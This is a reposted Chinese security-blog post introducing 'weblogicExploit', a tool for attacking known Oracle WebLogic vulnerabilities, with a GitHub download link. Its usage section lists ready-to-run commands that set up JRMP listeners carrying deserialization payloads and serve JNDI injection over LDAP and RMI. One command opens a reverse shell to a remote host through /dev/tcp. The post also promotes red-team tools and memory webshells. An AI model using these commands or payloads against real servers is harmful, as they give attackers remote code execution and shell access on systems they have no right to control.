weblogic历史漏洞利用工具 -- weblogicExploit

weblogic历史漏洞利用工具 -- weblogicExploit
2022-11-28 09:49:25 Author: 系统安全运维(查看原文) 阅读量:38 收藏

一、工具介绍

工具部分代码借鉴前辈的weblogic_cmd,属于二次再造轮子，部分功能暂未完善,后续将继续往上加功能。

二、安装与使用

1、列出可控payloads

java -jar weblogic.jar -payloads

2、启动JRMPListener

java -jar weblogic.jar -Jport 8888 -payload cc6 -c calc.exe

3、启动LDAP/RMI

LDAPjava -jar weblogic.jar -jndistart -Jport 8888 -jndildap -codeurl http://127.0.0.1/#wlc618RMIjava -jar weblogic.jar -jndistart -Jport 8888 -jndirmi -codeurl http://127.0.0.1/

4、高版本jndi注入 ldap

java -jar weblogic\ tools.jar -jndistart -Jport 9922 -jndildap -highjdk -os linux -c 'open /System/Applications/Calculator.app'

java -jar weblogic\ tools.jar -jndistart -Jport 9922 -jndildap -highjdk -os linux -c 'bash -i >& /dev/tcp/192.168.0.112/8888 0>&1'

三、下载地址：

https://github.com/8ypass/weblogicExploit

如有侵权，请联系删除

好文推荐

神兵利器 | 附下载 · 红队信息搜集扫描打点利器

神兵利器 | 分享直接上手就用的内存马（附下载）

推荐一款自动向hackerone发送漏洞报告的扫描器

欢迎关注系统安全运维

文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjE0NDc5OQ==&mid=2247512777&idx=1&sn=d1037f19e8ed2e05ee407a9535802335&chksm=c30861b9f47fe8af1e617e2c6364bb70ab06c64ba314e93860e8096379781e0a8b9577fae4ba#rd
如有侵权请联系:admin#unsafe.sh